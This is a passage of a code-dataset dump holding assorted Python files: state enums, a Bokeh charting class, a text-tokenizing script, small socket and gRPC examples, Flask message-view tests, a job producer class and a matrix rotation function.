TRANSITION_STATES = [RESTORING, DELETING, DESTROYING, DISABLING, ENABLING]\n STATIC_STATES = [CONFIRMED, DELETED, DISABLED, DESTROYED]\n ALLOWED_TRANSITIONS = {\n CONFIRMED: [DISABLING, DELETING, DESTROYING],\n DISABLED: [ENABLING, DELETING, DESTROYING],\n DELETED: [RESTORING, DESTROYING],\n DESTROYED: [],\n }\n\n\nclass Disk(object):\n MODELED = \"MODELED\"\n ASSIGNED = \"ASSIGNED\"\n CREATING = \"CREATING\"\n CREATED = \"CREATED\"\n DESTROYED = \"DESTROYED\"\n\n # attached disk in recycle bin deleted together with VM\n DELETED = \"DELETED\"\n # detached disk in recycle bin\n TOBEDELETED = \"TOBEDELETED\"\n\n CREATING = \"CREATING\"\n ASSIGNING = \"ASSIGNING\"\n DELETING_ATTACHED_DISK = \"DELETING_ATTACHED_DISK\"\n DESTROYING = \"DESTROYING\"\n DELETING_DETACHED_DISK = \"DELETING_DETACHED_DISK\"\n DESTROYING = \"DESTROYING\"\n RESTORING_ATTACHED_DISK = \"RESTORING_ATTACHED_DISK\"\n RESTORING_DETACHED_DISK = \"RESTORING_DETACHED_DISK\"\n\n DETACHING = \"DETACHING\"\n ATTACHING = \"ATTACHING\"\n RESIZING = \"RESIZING\"\n # the disk goes into this state when we call delete with permanently flag\n TOBEDESTROYED = \"TOBEDESTROYED\"\n VALID_STATES = [ASSIGNED, CREATED]\n INVALID_STATES = [TOBEDESTROYED, DESTROYED, TOBEDELETED, DELETED]\n DESTROYED_STATES = [DESTROYED, TOBEDESTROYED]\n TRANSITION_STATES = [\n CREATING,\n RESIZING,\n ATTACHING,\n DETACHING,\n DELETING_DETACHED_DISK,\n DESTROYING,\n DELETING_ATTACHED_DISK,\n RESTORING_DETACHED_DISK,\n RESTORING_ATTACHED_DISK,\n ]\n STATIC_STATES = [\n MODELED,\n CREATED,\n ASSIGNED,\n TOBEDELETED,\n TOBEDESTROYED,\n DELETED,\n DESTROYED,\n ]\n\n ALLOWED_TRANSITIONS = {\n MODELED: [CREATING, ASSIGNING],\n CREATED: [\n DELETING_DETACHED_DISK,\n DESTROYING,\n ATTACHING,\n RESIZING,\n TOBEDELETED,\n TOBEDESTROYED,\n ],\n ASSIGNED: [DELETING_ATTACHED_DISK, DESTROYING, DETACHING, RESIZING],\n DELETED: [DESTROYING, RESTORING_ATTACHED_DISK],\n TOBEDELETED: [DESTROYING, RESTORING_DETACHED_DISK, TOBEDESTROYED],\n DESTROYED: [],\n DETACHING: [CREATED],\n CREATING: [CREATED],\n ASSIGNING: [ASSIGNED],\n DELETING_DETACHED_DISK: [TOBEDELETED],\n DELETING_ATTACHED_DISK: [DELETED],\n DESTROYING: [DESTROYED],\n RESTORING_ATTACHED_DISK: [ASSIGNED],\n RESTORING_DETACHED_DISK: [CREATED],\n }\n\n\nclass Image(object):\n MODELED = \"MODELED\"\n CREATED = \"CREATED\"\n DELETED = \"DELETED\"\n DESTROYED = \"DESTROYED\"\n TOBEDESTROYED = \"TOBEDESTROYED\"\n DISABLED = \"DISABLED\"\n ERROR = \"ERROR\"\n\n CREATING = \"CREATING\"\n DELETING = \"DELETING\"\n DESTROYING = \"DESTROYING\"\n\n INVALID_STATES = [DESTROYED, DELETED]\n TRANSITION_STATES = [CREATING, DELETING, DESTROYING]\n STATIC_STATES = [MODELED, CREATED, DELETED, DISABLED, DESTROYED, TOBEDESTROYED]\n ALLOWED_TRANSITIONS = {\n MODELED: [CREATING, DESTROYING],\n CREATED: [DELETED, DISABLED, TOBEDESTROYED],\n DISABLED: [CREATED, DELETING, DESTROYING],\n DELETED: [CREATED, TOBEDESTROYED],\n DESTROYED: [],\n }\n\n\nclass Node(object):\n ENABLED = \"ENABLED\"\n MAINTENANCE = \"MAINTENANCE\"\n DECOMMISSIONED = \"DECOMMISSIONED\"\n ERROR = \"ERROR\"\n\n DEACTIVATING = \"DEACTIVATING\"\n ENABLING = \"ENABLING\"\n DECOMMISSIONING = \"DECOMMISSIONING\"\n UPDATING = \"UPDATING\"\n\n TRANSITION_STATES = [DEACTIVATING, ENABLING, DECOMMISSIONING, UPDATING]\n ALLOWED_TRANSITIONS = {\n ENABLED: [DEACTIVATING, DECOMMISSIONING, UPDATING],\n MAINTENANCE: [ENABLING, DECOMMISSIONING],\n DECOMMISSIONED: [],\n ERROR: [ENABLING, DEACTIVATING],\n }\n\n\nclass Stack(Node):\n pass\n","sub_path":"debug-ovc-transition-states/resourcestatus.py","file_name":"resourcestatus.py","file_ext":"py","file_size_in_byte":8937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"88996589","text":"\"\"\"This is the Bokeh charts interface. It gives you a high level API to build\ncomplex plot is a simple way.\n\nThis is the main Chart class which is able to build several plots using the low\nlevel Bokeh API. It setups all the plot characteristics and lets you plot\ndifferent chart types, taking OrderedDict as the main input. It also supports\nthe generation of several outputs (file, server, notebook).\n\"\"\"\n#-----------------------------------------------------------------------------\n# Copyright (c) 2012 - 2014, Continuum Analytics, Inc. All rights reserved.\n#\n# Powered by the Bokeh Development Team.\n#\n# The full license is in the file LICENCE.txt, distributed with this software.\n#-----------------------------------------------------------------------------\n\n#-----------------------------------------------------------------------------\n# Imports\n#-----------------------------------------------------------------------------\n\nimport itertools\nfrom collections import OrderedDict\n\nimport numpy as np\n\nfrom ..glyphs import (Asterisk, Circle, CircleCross, CircleX, Cross, Diamond,\n DiamondCross, InvertedTriangle, Line, Rect, Segment,\n Square, SquareCross, SquareX, Triangle, Xmarker, Quad)\nfrom ..objects import (CategoricalAxis, DatetimeAxis, Grid, Legend,\n LinearAxis, PanTool, Plot, PreviewSaveTool, ResetTool,\n WheelZoomTool)\n\nfrom ..document import Document\nfrom ..session import Session\nfrom ..embed import file_html\nfrom ..resources import INLINE\nfrom ..browserlib import view\nfrom ..utils import publish_display_data\n\n#-----------------------------------------------------------------------------\n# Classes and functions\n#-----------------------------------------------------------------------------\n\n\nclass Chart(object):\n \"\"\"This is the main Chart class, the core of the ``Bokeh.charts`` interface.\n\n This class essentially set up a \"universal\" Plot object containing all the\n needed attributes and methods to draw any of the Charts that you can build\n subclassing the ChartObject class.\n \"\"\"\n def __init__(self, title, xlabel, ylabel, legend, xscale, yscale, width, height,\n tools, filename, server, notebook):\n \"\"\"Common arguments to be used by all the inherited classes.\n\n Args:\n title (str): the title of your plot.\n xlabel (str): the x-axis label of your plot.\n ylabel (str): the y-axis label of your plot.\n legend (str): the legend of your plot. The legend content is\n inferred from incoming input.It can be ``top_left``,\n ``top_right``, ``bottom_left``, ``bottom_right``.\n It is ``top_right`` is you set it as True.\n xscale (str): the x-axis type scale of your plot. It can be\n ``linear``, ``datetime`` or ``categorical``.\n yscale (str): the y-axis type scale of your plot. It can be\n ``linear``, ``datetime`` or ``categorical``.\n width (int): the width of your plot in pixels.\n height (int): the height of you plot in pixels.\n tools (bool): to enable or disable the tools in your plot.\n filename (str or bool): the name of the file where your plot.\n will be written. If you pass True to this argument, it will use\n ``untitled`` as a filename.\n server (str or bool): the name of your plot in the server.\n If you pass True to this argument, it will use ``untitled``\n as the name in the server.\n notebook (bool): if you want to output (or not) your plot into the\n IPython notebook.\n\n Attributes:\n plot (obj): main Plot object.\n categorical (bool): tag to prevent adding a wheelzoom to a\n categorical plot.\n glyphs (list): to keep track of the glyphs added to the plot.\n \"\"\"\n self.title = title\n self.xlabel = xlabel\n self.ylabel = ylabel\n self.legend = legend\n self.xscale = xscale\n self.yscale = yscale\n self.plot_width = width\n self.plot_height = height\n self.tools = tools\n self.filename = filename\n self.server = server\n self.notebook = notebook\n self._xdr = None\n self._ydr = None\n self.plot = Plot(title=self.title,\n x_range=self._xdr,\n y_range=self._ydr,\n plot_width=self.plot_width,\n plot_height=self.plot_height)\n self.categorical = False\n self.glyphs = []\n\n def start_plot(self, xgrid, ygrid):\n \"\"\"Add the axis, grids and tools to self.plot\n\n Args:\n xgrid(bool): whether to show the xgrid\n ygrid(bool): whether to shoe the ygrid\n \"\"\"\n # Add axis\n xaxis = self.make_axis(\"below\", self.xscale, self.xlabel)\n yaxis = self.make_axis(\"left\", self.yscale, self.ylabel)\n\n # Add grids\n if xgrid:\n self.make_grid(0, xaxis.ticker)\n if ygrid:\n self.make_grid(1, yaxis.ticker)\n\n # Add tools\n if self.tools:\n if not self.categorical:\n pan = PanTool()\n wheelzoom = WheelZoomTool()\n reset = ResetTool()\n self.plot.add_tools(pan, wheelzoom, reset)\n previewsave = PreviewSaveTool()\n self.plot.add_tools(previewsave)\n\n def add_data_plot(self, x_range, y_range):\n \"\"\"Add range data to the initialized empty attributes.\n\n Args:\n x_range (obj): x-associated datarange object for your `self.plot`.\n y_range (obj): y-associated datarange object for your `self.plot`.\n \"\"\"\n # Overwrite the ranges in the plot\n self.plot.x_range = x_range\n self.plot.y_range = y_range\n\n def end_plot(self, groups):\n \"\"\"Add the legend to your plot, and the plot to a new Document.\n\n It also add the Document to a new Session in the case of server output.\n\n Args:\n groups(list): keeping track of the incoming groups of data.\n Useful to automatically setup the legend.\n \"\"\"\n # Add legend\n if self.legend:\n listed_glyphs = [[glyph] for glyph in self.glyphs]\n legends = OrderedDict(zip(groups, listed_glyphs))\n if self.legend is True:\n orientation = \"top_right\"\n else:\n orientation = self.legend\n legend = Legend(orientation=orientation, legends=legends)\n self.plot.add_layout(legend)\n\n # Add to document and session if server output is asked\n self.doc = Document()\n self.doc.add(self.plot)\n if self.server:\n if self.server is True:\n self.servername = \"untitled\"\n else:\n self.servername = self.server\n self.session = Session()\n self.session.use_doc(self.servername)\n self.session.load_document(self.doc)\n self.session.store_document(self.doc)\n\n def make_axis(self, location, scale, label):\n \"\"\"Create linear, date or categorical axis depending on the location,\n scale and with the proper labels.\n\n Args:\n location(str): the space localization of the axis. It can be\n ``left``, ``right``, ``above`` or ``below``.\n scale (str): the scale on the axis. It can be ``linear``, ``datetime``\n or ``categorical``.\n label (str): the label on the axis.\n\n Return:\n axis: Axis instance\n \"\"\"\n if scale == \"linear\":\n axis = LinearAxis(axis_label=label)\n elif scale == \"datetime\":\n axis = DatetimeAxis(axis_label=label)\n elif scale == \"categorical\":\n axis = CategoricalAxis(major_label_orientation=np.pi / 4,\n axis_label=label)\n self.categorical = True\n\n self.plot.add_layout(axis, location)\n\n return axis\n\n def make_grid(self, dimension, ticker):\n \"\"\"Create the grid just passing the axis and dimension.\n\n Args:\n dimension(int): the dimension of the axis, ie. xaxis=0, yaxis=1.\n ticker (obj): the axis.ticker object\n\n Return:\n grid: Grid instance\n \"\"\"\n grid = Grid(dimension=dimension, ticker=ticker)\n self.plot.add_layout(grid)\n\n return grid\n\n def make_segment(self, source, x0, y0, x1, y1, color, width):\n \"\"\" Create a segment glyph and append it to the plot.renderers list.\n\n Args:\n source (obj): datasource object containing segment refereces.\n x0 (str or list[float]) : values or field names of starting ``x`` coordinates\n y0 (str or list[float]) : values or field names of starting ``y`` coordinates\n x1 (str or list[float]) : values or field names of ending ``x`` coordinates\n y1 (str or list[float]) : values or field names of ending ``y`` coordinates\n color (str): the segment color\n width (int): the segment width\n\n Return:\n segment: Segment instance\n \"\"\"\n segment = Segment(x0=x0, y0=y0, x1=x1, y1=y1, line_color=color, line_width=width)\n\n self._append_glyph(source, segment)\n\n return segment\n\n def make_line(self, source, x, y, color):\n \"\"\"Create a line glyph and append it to the plot.renderers list.\n\n Args:\n source (obj): datasource object containing line refereces.\n x (str or list[float]) : values or field names of line ``x`` coordinates\n y (str or list[float]) : values or field names of line ``y`` coordinates\n color (str): the line color\n\n Return:\n line: Line instance\n \"\"\"\n line = Line(x=x, y=y, line_color=color)\n\n self._append_glyph(source, line)\n\n return line\n\n def make_quad(self, source, top, bottom, left, right, color, line_color):\n \"\"\"Create a quad glyph and append it to the plot.renderers list.\n\n Args:\n source (obj): datasource object containing quad refereces.\n left (str or list[float]) : values or field names of left edges\n right (str or list[float]) : values or field names of right edges\n top (str or list[float]) : values or field names of top edges\n bottom (str or list[float]) : values or field names of bottom edges\n color (str): the fill color\n line_color (str): the line color\n\n Return:\n quad: Quad instance\n \"\"\"\n quad = Quad(top=top, bottom=bottom, left=left, right=right,\n fill_color=color, fill_alpha=0.7, line_color=line_color, line_alpha=1.0)\n\n self._append_glyph(source, quad)\n\n return quad\n\n def make_rect(self, source, x, y, width, height, color, line_color, line_width):\n \"\"\"Create a rect glyph and append it to the renderers list.\n\n Args:\n source (obj): datasource object containing rect refereces.\n x (str or list[float]) : values or field names of center ``x`` coordinates\n y (str or list[float]) : values or field names of center ``y`` coordinates\n width (str or list[float]) : values or field names of widths\n height (str or list[float]) : values or field names of heights\n color (str): the fill color\n line_color (str): the line color\n line_width (int): the line width\n\n Return:\n rect: Rect instance\n \"\"\"\n rect = Rect(x=x, y=y, width=width, height=height, fill_color=color,\n fill_alpha=0.7, line_color=line_color, line_alpha=1.0, line_width=line_width)\n\n self._append_glyph(source, rect)\n\n return rect\n\n def make_scatter(self, source, x, y, markertype, color):\n \"\"\"Create a marker glyph and appends it to the renderers list.\n\n Args:\n source (obj): datasource object containing markers refereces.\n x (str or list[float]) : values or field names of line ``x`` coordinates\n y (str or list[float]) : values or field names of line ``y`` coordinates\n markertype (int or str): Marker type to use (e.g., 2, 'circle', etc.)\n color (str): color of the points\n\n Return:\n scatter: Marker Glyph instance\n \"\"\"\n\n _marker_types = OrderedDict([\n (\"circle\", Circle),\n (\"square\", Square),\n (\"triangle\", Triangle),\n (\"diamond\", Diamond),\n (\"inverted_triangle\", InvertedTriangle),\n (\"asterisk\", Asterisk),\n (\"cross\", Cross),\n (\"x\", Xmarker),\n (\"circle_cross\", CircleCross),\n (\"circle_x\", CircleX),\n (\"square_x\", SquareX),\n (\"square_cross\", SquareCross),\n (\"diamond_cross\", DiamondCross),\n ])\n\n g = itertools.cycle(_marker_types.keys())\n if isinstance(markertype, int):\n for i in range(markertype):\n shape = next(g)\n else:\n shape = markertype\n scatter = _marker_types[shape](x=x, y=y, size=10,\n fill_color=color,\n fill_alpha=0.2,\n line_color=color,\n line_alpha=1.0)\n\n self._append_glyph(source, scatter)\n\n return scatter\n\n def show(self):\n \"\"\"Main show function.\n\n It shows the plot in file, server and notebook outputs.\n \"\"\"\n if self.filename:\n if self.filename is True:\n filename = \"untitled\"\n else:\n filename = self.filename\n with open(filename, \"w\") as f:\n f.write(file_html(self.doc, INLINE, self.title))\n print(\"Wrote %s\" % filename)\n view(filename)\n elif self.filename is False and self.server is False and self.notebook is False:\n print(\"You have a provide a filename (filename='foo.html' or\"\n \" .filename('foo.html')) to save your plot.\")\n\n if self.server:\n self.session.use_doc(self.servername)\n self.session.load_document(self.doc)\n self.session.show(self.plot)\n\n if self.notebook:\n from bokeh.embed import notebook_div\n publish_display_data({'text/html': notebook_div(self.plot)})\n\n ## Some helper methods\n def _append_glyph(self, source, glyph):\n \"\"\" Append the glyph to the plot.renderer.\n\n Also add the glyph to the glyphs list.\n\n Args:\n source (obj): datasource containing data for the glyph\n glyph (obj): glyph type\n \"\"\"\n _glyph = self.plot.add_glyph(source, glyph)\n\n self.glyphs.append(_glyph)\n","sub_path":"oldsite/python_viz/bokeh/bokeh/charts/_charts.py","file_name":"_charts.py","file_ext":"py","file_size_in_byte":15066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"539262485","text":"# !/home/imyin/python_env/newspaper_python3/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCreate on 1/11/18 4:50 PM\n\n@auther: imyin\n\n@File: word_process\n\"\"\"\n\nimport jieba\nimport re\n\nif __name__ == '__main__':\n stop_words = [line.strip() for line in\n open('/home/imyin/myProject/gitWorkSpace/BlackCoffee/Analysis/stop_words_ch', encoding='utf-8',\n mode='r')]\n words_count = []\n with open('/home/imyin/GuangDa/data/news/word_counts', mode='w') as f:\n for content in open('/home/imyin/GuangDa/data/news/hangnei.txt', mode='r'):\n cut_text = jieba.cut(content)\n for reg in cut_text:\n if reg not in stop_words and reg != '\\n' and reg != '':\n # words_count.append(reg)\n f.write(reg + '\\n')\n","sub_path":"GD/word_process.py","file_name":"word_process.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"484980819","text":"import socket\n\ns = socket.socket()\nprint('Successfully created a socket')\n\nport = 12345\n\ns.bind(('',port))\n\ns.listen(5)\n\nwhile True:\n c,addr = s.accept()\n print('Accepted a connection from {}'.format(addr))\n c.send('Thank you for the connection'.encode())\n c.close()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"8062397","text":"import spacy\n\n# 「en_core_web_sm」モデルをロード\nnlp = ____\n\ntext = \"It’s official: Apple is the first U.S. public company to reach a $1 trillion market value\"\n\n# テキストを処理\ndoc = ____\n\n# docのテキストをプリント\nprint(____.____)\n","sub_path":"exercises/ja/exc_01_07.py","file_name":"exc_01_07.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"314703481","text":"# -*- encoding: utf-8 -*-\n\"\"\"\n@file: client.py\n@time: 2020/12/20 下午8:13\n@author: shenpinggang\n@contact: 1285456152@qq.com\n@desc: \n\"\"\"\n\nimport grpc\nimport queue\nfrom week05.test.grpc import schema_pb2\nfrom week05.test.grpc import schema_pb2_grpc\n\nq = queue.Queue()\n\n\ndef generate_message():\n while True:\n num = q.get()\n print(num)\n yield schema_pb2.Request(num=num)\n\n\ndef main():\n # 获取通信\n with grpc.insecure_channel(\"localhost:50051\") as channel:\n stub = schema_pb2_grpc.GatewayStub(channel)\n q.put(1)\n # 调用循环发送消息并接收消息\n resp = stub.Call(generate_message())\n for r in resp:\n num = r.num\n q.put(num)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"week05/test/grpc/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"127694759","text":"\"\"\"Message View tests.\"\"\"\n\n# run these tests like:\n#\n# FLASK_ENV=production python -m unittest test_message_views.py\n\n\nimport os\nfrom unittest import TestCase\n\nfrom models import db, connect_db, Message, User\n\n# BEFORE we import our app, let's set an environmental variable\n# to use a different database for tests (we need to do this\n# before we import our app, since that will have already\n# connected to the database\n\nos.environ['DATABASE_URL'] = \"postgresql:///warbler-test\"\n\n\n# Now we can import app\n\nfrom app import app, CURR_USER_KEY\n\n# Create our tables (we do this here, so we only create the tables\n# once for all tests --- in each test, we'll delete the data\n# and create fresh new clean test data\n\ndb.create_all()\n\n# Don't have WTForms use CSRF at all, since it's a pain to test\n\napp.config['WTF_CSRF_ENABLED'] = False\n\n\nclass MessageViewTestCase(TestCase):\n \"\"\"Test views for messages.\"\"\"\n\n def setUp(self):\n \"\"\"Create test client, add sample data.\"\"\"\n\n User.query.delete()\n Message.query.delete()\n\n self.client = app.test_client()\n\n self.testuser = User.signup(username=\"testuser\",\n email=\"test@test.com\",\n password=\"testuser\",\n image_url=None)\n\n db.session.commit()\n\n def test_add_message(self):\n \"\"\"Can use add a message?\"\"\"\n\n # Since we need to change the session to mimic logging in,\n # we need to use the changing-session trick:\n\n with self.client as c:\n with c.session_transaction() as sess:\n sess[CURR_USER_KEY] = self.testuser.id\n\n # Now, that session setting is saved, so we can have\n # the rest of ours test\n\n resp = c.post(\"/messages/new\", data={\"text\": \"Hello\"})\n\n # Make sure it redirects\n self.assertEqual(resp.status_code, 302)\n\n msg = Message.query.one()\n self.assertEqual(msg.text, \"Hello\")\n\n def test_message_view(self):\n \"\"\"Can we go to the message template to add a message?\"\"\"\n\n with self.client as c:\n with c.session_transaction() as sess:\n sess[CURR_USER_KEY] = self.testuser.id\n\n resp = c.get(\"/messages/new\")\n html = resp.get_data(as_text=True)\n\n self.assertEqual(resp.status_code, 200)\n self.assertIn(\"Add my message!\", html)\n\n def test_message_no_user(self):\n \"\"\"Reroute to home page with no user\"\"\"\n\n with self.client as c:\n resp = c.get(\"/messages/new\", follow_redirects=True)\n html = resp.get_data(as_text=True)\n\n self.assertEqual(resp.status_code, 200)\n self.assertIn(\"Access unauthorized.\", html)\n\n def test_message_invalid_user(self):\n \"\"\"Reroute to home page with invalid user\"\"\"\n\n with self.client as c:\n with c.session_transaction() as sess:\n sess[CURR_USER_KEY] = 987654\n\n resp = c.get(\"/messages/new\", follow_redirects=True)\n html = resp.get_data(as_text=True)\n\n self.assertEqual(resp.status_code, 200)\n self.assertIn(\"Access unauthorized.\", html)\n\n def test_message_show(self):\n \"\"\"Can you dipslay the message?\"\"\"\n\n with self.client as c:\n with c.session_transaction() as sess:\n sess[CURR_USER_KEY] = self.testuser.id\n \n m = Message(text=\"Hello there\", user_id=self.testuser.id)\n m.id = 1212\n db.session.add(m)\n db.session.commit()\n\n resp = c.get(f\"/messages/{m.id}\")\n html = resp.get_data(as_text=True)\n\n self.assertEqual(resp.status_code, 200)\n self.assertIn(\"Hello there\", html)\n\n def test_message_destroy(self):\n \"\"\"Can you delete a message?\"\"\"\n\n with self.client as c:\n with c.session_transaction() as sess:\n sess[CURR_USER_KEY] = self.testuser.id\n\n m = Message(text=\"Hello there\", user_id=self.testuser.id)\n m.id = 2323\n db.session.add(m)\n db.session.commit()\n\n resp = c.post(f\"/messages/{m.id}/delete\", follow_redirects=True)\n html = resp.get_data(as_text=True)\n\n count = Message.query.filter_by(id=m.id).count()\n\n self.assertEqual(resp.status_code, 200)\n self.assertEqual(count, 0)\n self.assertIn(\"testuser\", html)\n\n def test_msg_destroy_no_user(self):\n \"\"\"No user logged in can not delete a message\"\"\"\n\n with self.client as c:\n m = Message(text=\"Hello there\", user_id=self.testuser.id)\n m.id = 3434\n db.session.add(m)\n db.session.commit()\n\n resp = c.post(f\"/messages/{m.id}/delete\", follow_redirects=True)\n html = resp.get_data(as_text=True)\n\n self.assertEqual(resp.status_code, 200)\n self.assertIn('Access unauthorized.', html)\n\n def test_msg_destroy_invalid_user(self):\n \"\"\"Invalid user can not delete a message\"\"\"\n \n u2 = User.signup(username=\"testuser2\",\n email=\"test2@test.com\",\n password=\"testuser2\",\n image_url=None)\n u2.id = 87654\n db.session.add(u2)\n db.session.commit()\n\n m = Message(text=\"Hello there testuser\", user_id=self.testuser.id)\n m.id = 5454\n db.session.add(m)\n db.session.commit()\n\n with self.client as c:\n with c.session_transaction() as sess:\n sess[CURR_USER_KEY] = 87654\n\n resp = c.post(\"/messages/5454/delete\", follow_redirects=True)\n html = resp.get_data(as_text=True)\n\n self.assertEqual(resp.status_code, 200)\n self.assertIn(\"Access unauthorized.\", html)","sub_path":"WarblerApp-main/test_message_views.py","file_name":"test_message_views.py","file_ext":"py","file_size_in_byte":5898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"47682186","text":"from stepist.flow import session\nfrom stepist.flow.steps.next_step import call_next_step\n\nfrom stairs.core.session import producer_session\nfrom stairs.core.app import components\nfrom stairs.core.producer.utils import producer_retry, custom_callbacks_to_dict\n\n\nclass Producer(components.AppProducer):\n \"\"\"\n\n \"\"\"\n DEFAULT_QUEUE_LIMIT = 10 ** 6\n\n def __init__(self, app, handler, default_callbacks: list,\n custom_callbacks: list, queue_limit=None,\n single_transaction=False):\n\n self.app = app\n\n self.queue_limit = queue_limit or self.DEFAULT_QUEUE_LIMIT\n self.single_transaction = single_transaction\n\n # The main generator which yields data\n self.handler = handler\n\n # Callbacks which should be run always\n self.default_callbacks = default_callbacks or []\n # Callbacks which should be run based on user console, input\n self.custom_callbacks = custom_callbacks_to_dict(custom_callbacks or [])\n\n # Stepist step basically to forward jobs to current producer\n # e.g. from Batch Producer\n self.stepist_step = self.app\\\n .project\\\n .stepist_app\\\n .step(None,\n as_worker=True,\n unique_id=self.get_producer_id())(self.run_jobs)\n\n components.AppProducer.__init__(self, app)\n\n def __call__(self, *args, **kwargs):\n self.run(user_args=args, user_kwargs=kwargs)\n\n def run(self, custom_callbacks_keys: list = None,\n single_transaction: bool = False, user_args=None, user_kwargs=None):\n \"\"\"\n Execute producer from console with specified args and kwargs.\n Also can have custom callbacks specified there.\n \"\"\"\n custom_callbacks = []\n\n # Basic check for custom producers\n for custom_callback in custom_callbacks_keys or []:\n callback = self.custom_callbacks.get(custom_callback, None)\n if callback is None:\n print(\"Producer callback `%s` (another producer or pipeline\"\n \") not found.\" % custom_callback)\n exit()\n custom_callbacks.append(callback)\n\n # Basic check for callbacks\n if not custom_callbacks and not self.default_callbacks:\n print(\"No callbacks was found, specified default callback or use\"\n \"custom callback\")\n exit()\n\n callbacks_to_run = custom_callbacks + self.default_callbacks\n\n single_transaction = single_transaction or self.single_transaction\n user_args = user_args or []\n user_kwargs = user_kwargs or dict()\n\n # Running jobs from producer\n if not single_transaction:\n for job in self.handler(*user_args, **user_kwargs):\n self.send_job(job, callbacks_to_run)\n else:\n jobs_to_send = list(self.handler(*user_args, **user_kwargs))\n self.send_jobs(jobs_to_send, callbacks_to_run)\n\n def run_jobs(self, **kwargs):\n \"\"\"\n Stepist Handler for executing forwarded jobs.\n\n Important(!) If you want to use custom callbacks, set them using:\n `producer_session.change_custom_callbacks` contextmanager\n \"\"\"\n custom_callbacks = producer_session.get_custom_callbacks()\n self.run(custom_callbacks_keys=custom_callbacks,\n user_kwargs=kwargs,\n single_transaction=True)\n\n def send_job(self, job, callbacks_to_run):\n with session.change_flow_ctx({}, {}):\n\n # TODO: Make it more safe, it will good to run all callbacks\n # in one transaction, otherwise there is a chance to fail some\n # callback and duplication/lose data\n for callback in callbacks_to_run:\n self._job_to_stepist(job, callback.step)\n\n def send_jobs(self, jobs, callbacks_to_run):\n with session.change_flow_ctx({}, {}):\n\n # TODO: Make it more safe, it will good to run all callbacks\n # in one transaction, otherwise there is a chance to fail some\n # callback and duplication/lose data\n for callback in callbacks_to_run:\n self._job_to_stepist(jobs, callback.step, batch_data=True)\n\n @producer_retry(5, Exception)\n def _job_to_stepist(self, stepist_job, step, **kwargs):\n call_next_step(stepist_job, step, **kwargs)\n\n def get_producer_id(self):\n return \"producer:%s:%s\" % (self.app.app_name, self.handler.__name__)\n\n def get_handler_name(self):\n return self.handler.__name__\n\n def get_stepist_step(self):\n return self.stepist_step\n\n def flush(self):\n for pipeline in self.default_callbacks:\n pipeline.step.flush_all()\n\n for pipeline in self.custom_callbacks.values():\n pipeline.step.flush_all()\n\n def key(self):\n return self.get_handler_name()\n\n\ndef run_jobs_processor(project, producers_to_run, custom_callbacks_keys: list = None,\n die_when_empty=False):\n \"\"\"\n Executing forwarded jobs (from batch producer)\n \"\"\"\n steps_to_run = [p.stepist_step for p in producers_to_run]\n with producer_session.change_custom_callbacks(custom_callbacks_keys):\n project \\\n .stepist_app\\\n .run(steps_to_run,\n die_on_error=True,\n die_when_empty=die_when_empty)","sub_path":"stairs/core/producer/producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":5395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"112519091","text":"from ALPSCommon import *\r\nfrom ALPSModule import ALPSPlugin\r\n\r\ndef plugin_initialize():\r\n socket_thread = ALPSThread(threadfunc=app1_thread, threadname='app1_socket_client_thread')\r\n socket_thread.start()\r\n return True # should not be omitted\r\n\r\ndef process_apple(message_packet):\r\n m = Message('MESSAGE_REPLY', 'Thank you for your apple! Now I have some apples.')\r\n ALPSDebug.alps_print(ALPSDebug.LEVEL.INFO, __name__, \"Submitted Message:\", m.name, m.length, m.body)\r\n api_submit_message(m)\r\n m = Message('MESSAGE_EAT', \"let's eat apples\")\r\n ALPSDebug.alps_print(ALPSDebug.LEVEL.INFO, __name__, \"Submitted Message:\", m.name, m.length, m.body)\r\n api_submit_message(m)\r\n\r\ndef process_thanks(message_packet):\r\n pass\r\n\r\ndef app1_thread():\r\n host = \"127.0.0.1\"\r\n port = 8001\r\n\r\n while True:\r\n time.sleep(10)\r\n try:\r\n ALPSDebug.alps_print('=' * 80)\r\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n s.connect((host, port))\r\n s.send(\"Hello, Server! I'm app1. I wanna some apples, who can give me?\")\r\n ALPSDebug.alps_print('Server says:', s.recv(1024))\r\n except Exception as e:\r\n ALPSDebug.alps_error('s.connect error:', e)\r\n break\r\n\r\nmessage_process_map = {'MESSAGE_APPLE': process_apple,\r\n 'MESSAGE_THANKS': process_thanks,\r\n 'MESSAGE_OTHER': None}\r\n\r\nALPSPlugin(message_process_map=message_process_map,\r\n initial_func=plugin_initialize)\r\n","sub_path":"WLAN Software Development Test Tool/WSDT/__Template.py","file_name":"__Template.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"112604986","text":"'''Rotates a given matrix in place by 90 degrees.'''\n\ndef rotate(matrix):\n if not matrix:\n return\n for i in range(int(len(matrix)/2)):\n offset = len(matrix) - (i + 1)\n top = i\n increasing = top\n decreasing = offset\n bottom = decreasing\n cycles = offset\n if cycles == 2:\n cycles -= 1 # If the matrix is 2/2 only do one cycle.\n for _ in range(cycles):\n TL = matrix[top][increasing]\n TR = matrix[increasing][bottom]\n BR = matrix[bottom][decreasing]\n BL = matrix[decreasing][top]\n matrix[top][increasing], matrix[increasing][bottom], matrix[bottom][decreasing], \\\n matrix[decreasing][top] = TR, BR, BL, TL\n increasing += 1\n decreasing -= 1\n\n return 